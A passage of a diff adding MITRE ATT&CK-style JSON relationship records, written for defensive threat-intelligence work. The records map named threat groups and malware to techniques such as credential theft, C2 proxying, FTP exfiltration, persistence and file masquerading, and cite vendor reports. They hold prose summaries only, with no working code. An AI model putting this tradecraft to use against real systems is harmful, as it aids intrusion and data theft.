"2018-10-17T00:14:20.652Z", + "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has used a plug-in to gather credentials stored in files on the host by various software programs, including The Bat! email client, Outlook, and Windows Credential Store.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--aec49e52-c54e-45be-a476-70aa0dc42cfb", + "external_references": [ + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + }, + { + "source_name": "Securelist BlackEnergy Nov 2014", + "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/" + } + ], + "modified": "2019-06-24T17:08:51.767Z", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware can use a SOAP Web service to communicate with its C2 server.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--79f89b33-046c-4bfa-a12d-c50fa0d84ea6", + "external_references": [ + { + "source_name": "Unit 42 Magic Hound Feb 2017", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "modified": "2019-03-25T14:25:29.623Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used net.exe in a script with net accounts /domain to find the password policy of a domain.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5e39caf2-083b-4e4c-b04f-d83c512341cb", + "external_references": [ + { + "source_name": "FireEye Targeted Attacks Middle East Banks", + "description": "Singh, S., Yin, H. (2016, May 22). https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html. Retrieved April 5, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html" + } + ], + "modified": "2019-07-17T16:17:30.324Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) used other victims as proxies to relay command traffic, for instance using a compromised Georgian military email server as a hop point to NATO victims. The group has also used a tool that acts as a proxy to allow C2 even if the victim is behind a router. [APT28](https://attack.mitre.org/groups/G0007) has also used a machine to relay and obscure communications between [CHOPSTICK](https://attack.mitre.org/software/S0023) and their server.", + "type": "relationship", + "created": "2017-05-31T21:33:27.038Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--10cc3288-d06c-456c-bc0e-b10a8c5abeaa", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "Bitdefender APT28 Dec 2015", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "modified": "2019-07-27T00:09:36.646Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Thrip](https://attack.mitre.org/groups/G0076) has used WinSCP to exfiltrate data from a targeted organization over FTP.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4612c0bd-f6f7-4c71-92dd-9f26ff1c3eef", + "external_references": [ + { + "source_name": "Symantec Thrip June 2018", + "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets" + } + ], + "modified": "2019-03-25T17:06:37.175Z", + "source_ref": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172", + "relationship_type": "uses", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent.btz](https://attack.mitre.org/software/S0092) drops itself onto removable media devices and creates an autorun.inf file with an instruction to run that file. When the device is inserted into another system, it opens autorun.inf and loads the malware.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7f3c015e-d95d-4d35-a583-236134464554", + "external_references": [ + { + "source_name": "ThreatExpert Agent.btz", + "description": "Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016.", + "url": "http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) malware has created scheduled tasks to establish persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1f7b17e9-9ad3-42dd-ab92-e3afe752247b", + "external_references": [ + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "source_name": "Morphisec FIN7 June 2017", + "description": "Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.", + "url": "http://blog.morphisec.com/fin7-attacks-restaurant-industry" + }, + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + }, + { + "source_name": "Flashpoint FIN 7 March 2019", + "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.", + "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/ " + } + ], + "modified": "2019-06-30T23:13:18.506Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Comnie](https://attack.mitre.org/software/S0244) collects the hostname of the victim machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b22e151c-4919-4160-9f5c-143484948003", + "external_references": [ + { + "source_name": "Palo Alto Comnie", + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) aggregates staged data from a network into a single location.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b8df1d2c-f014-4f51-a277-8050adafb865", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2019-03-22T20:21:57.785Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:50:39.871Z", + "type": "relationship", + "id": "relationship--87f4c47d-b94d-4a1e-9c4b-be671a99e6f0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.021Z", + "source_ref": "course-of-action--9ab7de33-99b2-4d8d-8cf3-182fa0015cc2", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Orz](https://attack.mitre.org/software/S0229) can execute commands with script as well as execute JavaScript.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0a973da5-c4a1-4597-b629-bb3cfd9a2de1", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:15:39.494Z", + "type": "relationship", + "id": "relationship--a1f198ef-af69-4c0f-b3ed-0b47ad6167fe", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.025Z", + "source_ref": "course-of-action--24478001-2eb3-4b06-a02e-96b3d61d27ec", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) can perform screen captures of the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8140f09f-af3b-45e1-ae7c-f2dc85b8930e", + "external_references": [ + { + "source_name": "Unit 42 VERMIN Jan 2018", + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used a CHM payload to load and execute another malicious file once delivered to a victim.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--352e990d-48be-4d1a-bd8a-bc27d641aa1f", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "modified": "2019-07-17T16:17:30.304Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) has a command to return a list of running processes.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1035fe41-56b9-4966-bf3b-109ae950c908", + "external_references": [ + { + "source_name": "Palo Alto MoonWind March 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Elise](https://attack.mitre.org/software/S0081) communicates over HTTP or HTTPS for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bc60180b-2db6-4e0d-8b98-d349db637777", + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + } + ], + "modified": "2019-04-17T22:12:24.902Z", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BUBBLEWRAP](https://attack.mitre.org/software/S0043) collects system information, including the operating system version and hostname.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ea4c3651-b2a3-418e-8d3b-3c8075b988ef", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used the command query user on victim hosts.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--79eff26b-058c-4a5c-ac7a-f6e6c778d934", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "modified": "2019-03-22T20:13:49.667Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Brave Prince](https://attack.mitre.org/software/S0252) gathers file and directory information from the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--69127424-40bb-4b92-8558-6fe1561e0a59", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used legitimate local admin account credentials.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--70bc1a16-3c57-4198-b2f9-c7f27bec271c", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "modified": "2019-07-17T13:11:38.447Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) deletes its original installer file once installation is complete.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b13fd1c9-a42c-45fc-9db8-1cd691740e0a", + "external_references": [ + { + "source_name": "ZScaler Hacking Team", + "description": "Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.", + "url": "http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) contains base64-encoded strings.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--59df5f14-e570-417e-8184-e8e7c6c1ea75", + "external_references": [ + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "modified": "2019-04-24T23:59:16.363Z", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can retrieve files.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e7126875-bb0f-48d0-845f-6b8951ce8507", + "external_references": [ + { + "source_name": "Symantec Pasam May 2012", + "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SHUTTERSPEED](https://attack.mitre.org/software/S0217) can collect system information.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--42ce3f19-e995-4a9e-b7d6-74a5a28824f9", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4189a679-72ed-4a89-a57c-7f689712ecf8", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can use port 995 for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--44090eb6-1166-4986-8583-60dcc8e69cc7", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "relationship_type": "uses", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the deletFileFromPath function to delete a specified file using the NSFileManager:removeFileAtPath method.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f5fee3da-a3ef-4a81-a70c-9660ab1fb3d6", + "external_references": [ + { + "source_name": "XAgentOSX 2017", + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + } + ], + "modified": "2019-07-26T23:07:21.252Z", + "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used hidden or non-printing characters to help masquerade file names on a system, such as appending a Unicode no-break space character to a legitimate service name. They have also used by moving and renaming pubprn.vbs to a .txt file to avoid detection. Additionally, the group has renamed a NetCat binary to kb-10233.exe to masquerade as a Windows update.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7e7d5aa9-6860-44fe-88b9-22a6b36162e2", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + }, + { + "source_name": "Twitter ItsReallyNick APT32 pubprn Masquerade", + "description": "Carr, N.. (2017, December 26). Nick Carr Status Update APT32 pubprn. Retrieved April 22, 2019.", + "url": "https://twitter.com/ItsReallyNick/status/945681177108762624" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-07-17T13:11:38.450Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) uses HTTP and HTTPS for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9ef645ab-afd1-41d6-ad60-d207fd134748", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-24T19:41:25.902Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a2c9bae6-15aa-4ce0-8f4d-01b8fc32a36d", + "external_references": [ + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + 